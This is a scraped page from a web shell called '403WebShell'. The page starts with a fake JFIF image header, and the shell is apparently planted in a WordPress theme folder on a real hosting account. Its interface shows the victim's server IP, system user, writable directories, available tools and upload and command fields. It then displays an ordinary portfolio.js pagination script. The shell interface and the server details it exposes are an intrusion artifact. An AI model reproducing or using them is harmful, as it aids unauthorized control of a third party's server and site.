????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.64.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/eaabusiness.com/wp-content/themes/globeco/core/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/eaabusiness.com/wp-content/themes/globeco/core/js/portfolio.js
"use strict";

jQuery(document).ready(function () {

function getPageId() {
	var a = document.getElementsByTagName('body')[0].className;
	var addendum = 0;
	var ind = a.indexOf('page-id');
	if ( ind != -1 ){
		addendum = 8;
	}
	else{
		 ind = a.indexOf('postid');
		 addendum = 7;
	}
	return a.substr(ind+addendum, a.indexOf(' ', ind)-ind-addendum);
}

function update_grid ( old_items, new_items, div_grid ){
	var new_rows = Math.floor( ( new_items.length / div_grid.data('cols') ) + (0 !== new_items.length % div_grid.data('cols')) );
	var g_height = old_items[0].clientHeight * new_rows;

	div_grid.css('min-height', g_height);

	div_grid.append( new_items );
	div_grid.isotope( 'remove', old_items ).isotope('layout');
	var img_loader = imagesLoaded( div_grid );
	img_loader.on ('always', function (){
		div_grid.isotope( 'appended', new_items);
		div_grid.isotope('layout');
	});
	//div_grid.isotope( { sortBy:'cat' } );
	div_grid.isotope('updateSortData').isotope();
}

function PortfolioPage( container, el, e ) {
	e.preventDefault();
	e.stopPropagation();
	var pid = getPageId();
	var div_grid = container.find(".grid");
	var link = el.attr("href");
	var filter = div_grid.attr('data-filter');
	if ( filter == undefined ) filter = "";
	var ppp = div_grid.attr('data-ppp');
	var use_filter = div_grid.attr('data-use-filter');
	var aurl = div_grid.attr('data-aurl');
	var blogtype = div_grid.attr('data-blogtype');
	var col = div_grid.attr('data-cols');
	var select = container.find('.filter');
	var selbox = "";
	var all = "";
	if (Boolean(select.length)){
		selbox = select.find(":selected")[0].value;
		all = select.find("option")[0].value;
	}
	var dta = new Array( link, col, all, use_filter, ppp, selbox, pid, blogtype );

	if (all === filter || filter.length == 0 ) {
		//var dta = new Array(link, col, all, flags, ppp);
		jQuery.ajax({ url: aurl,
			data: {	action: dta	},
			type: 'post',
			'cache': 'true',
			nonce_code : ajaxurl.nonce,
			success: function(data) {
				var new_items = jQuery('.item', jQuery(data));
				var old_items = div_grid.isotope('getItemElements');
				var old_pagination = container.find(".pagination");
				var new_pagination = jQuery('.pagination', jQuery(data));
				if (Boolean(old_pagination.length)) {
					old_pagination.fadeOut('300', function () {
						old_pagination.remove();
						if (Boolean(new_pagination.length)) {
							new_pagination.fadeOut('1');
							container.append(new_pagination);
							container.find(".pagination").fadeIn("300");
						}
					});
				}
				else {
					if (Boolean(new_pagination.length)){
						new_pagination.fadeOut('1');
						container.append(new_pagination);
						container.find(".pagination").fadeIn("600");
					}
				}
				update_grid( old_items, new_items, div_grid );
				if (Retina.isRetina()) {
					jQuery(window.retina.root).trigger("load");
				}
				jQuery('html, body').animate({
					scrollTop: jQuery(".photo_tour_section").offset().top - 20
				}, 1000);
			}
		});
	}
	else {
		//var dta = new Array(link, col, all, flags, ppp, filter);
		jQuery.ajax({ url: aurl,
			data: {	filter: dta, link: link	},
			type: 'post',
			nonce_code : ajaxurl.nonce,
			'cache': 'true',
			success: function(data) {
				var new_items = jQuery('.item',jQuery(data));
				var old_items = div_grid.isotope('getItemElements');
				var old_pagination = container.find(".pagination");
				var new_pagination = jQuery('.pagination',jQuery(data));
				if (Boolean(old_pagination.length)){
					old_pagination.fadeOut('300', function (){
						old_pagination.remove();
						if (Boolean(new_pagination.length)){
							new_pagination.fadeOut('1');
							container.append(new_pagination);
							container.find(".pagination").fadeIn("300");
						}
					});
				}
				else{
					if (Boolean(new_pagination.length)){
						new_pagination.fadeOut('1');
						container.append(new_pagination);
						container.find(".pagination").fadeIn("600");
					}
				}
				update_grid( old_items, new_items, div_grid );
				if (Retina.isRetina()) {
					jQuery(window.retina.root).trigger("load");
				}
				jQuery('html, body').animate({
					scrollTop: jQuery(".photo_tour_section").offset().top - 20
				}, 1000);
			}
		});
	}
}
//jQuery('.photo_tour').on('click', '.pagination a', PortfolioPage(event) );
/*jQuery('.photo_tour_section .pagination a').on('click', function(e) {
	PortfolioPage(e);
} );*/

var userAgent = window.navigator.userAgent.toLowerCase(),
	ios = /iphone|ipod|ipad/.test( userAgent );

jQuery('.photo_tour_section').each( function (){
	var section = jQuery(this);
	section.find(".pagination a").on('click', function (e){
		if (ios) {
			jQuery(".toggle_sidebar .switcher").off("click");
		}
		PortfolioPage( section, jQuery(this), e );
	});
});

function PortfolioFilter(container, el) {
	var pid = getPageId();
	var div_grid = container.find('.grid');
	var filter = el.find(":selected")[0].value;
	var ppp = div_grid.attr('data-ppp');
	var use_filter = div_grid.attr('data-use-filter');
	var aurl = div_grid.attr('data-aurl');
	var blogtype = div_grid.attr('data-blogtype');
	var col = div_grid.attr('data-cols');
	var all = el.find("option")[0].value;
	var dta = new Array(filter, col, all, use_filter, ppp, filter, pid, blogtype );

	jQuery.ajax({ url: aurl,
		data: {	filter: dta	},
		type: 'post',
		nonce_code : ajaxurl.nonce,
		success: function(data) {
			var new_items = jQuery('.item',jQuery(data));
			var old_items = div_grid.isotope('getItemElements');
			var old_pagination = container.find(".pagination");
			var new_pagination = jQuery('.pagination',jQuery(data));
			if (Boolean(old_pagination.length)){
				old_pagination.fadeOut('300', function (){
					old_pagination.remove();
					if (Boolean(new_pagination.length)){
						new_pagination.fadeOut('1');
						container.append(new_pagination);
						container.find(".pagination").fadeIn("300");
					}
				});
			}
			else{
				if (Boolean(new_pagination.length)){
					new_pagination.fadeOut('1');
					container.append(new_pagination);
					container.find(".pagination").fadeIn("600");
				}
			}
			update_grid( old_items, new_items, div_grid );
			if (Retina.isRetina()) {
				jQuery(window.retina.root).trigger("load");
			}
		}
	});
}

jQuery('.photo_tour_section').each( function (){
	var section = jQuery(this);
	section.find(".filter").on("change", function (){
		if (ios) {
			jQuery(".toggle_sidebar .switcher").off("click");
		}
		PortfolioFilter( section, jQuery(this) );
	});
});

});



Youez - 2016 - github.com/yon3zu
LinuXploit